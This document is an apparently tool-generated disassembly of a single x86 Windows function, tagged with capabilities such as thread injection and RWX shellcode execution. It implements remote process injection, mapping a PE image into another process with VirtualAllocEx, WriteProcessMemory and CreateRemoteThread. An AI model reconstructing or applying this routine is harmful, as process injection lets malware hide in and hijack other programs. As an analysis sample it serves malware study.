Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x270
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x30], eax
mov dword [esp + 4], 0x220
lea eax, [ebp - 0x250]
mov dword [esp], eax
call fcn.004042e0
sub esp, 8
mov eax, dword [section..bss]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x409000
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x250]
add eax, 0x18
mov dword [esp], eax
call fcn.004065d0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
js 0x401414
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x23c]
test eax, eax
je 0x401417
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x23c]
mov dword [esp + 0x10], 0
mov edx, dword [ebp + 0x18]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x40141a
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x240]
test eax, eax
je 0x40141d
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x54]
mov eax, dword [ebp - 0x240]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401420
mov eax, dword [ebp - 0x20]
add eax, 0xf8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0
jmp 0x4012a3
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
je 0x40129e
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 0x10]
lea ebx, [edx + eax]
mov esi, dword [ebp - 0x240]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov eax, dword [eax + 0xc]
add eax, esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401423
jmp 0x40129f
nop
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x10], eax
jb 0x4011fe
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
add eax, 0x1c
add edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x254]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401426
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x254]
add edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x254]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401429
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x220
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40142c
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
lea eax, [ebp - 0x250]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x40142f
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x254]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401432
mov dword [ebp - 0x14], 1
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
jmp 0x401433
nop
cmp dword [ebp - 0xc], 0
je 0x401449
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret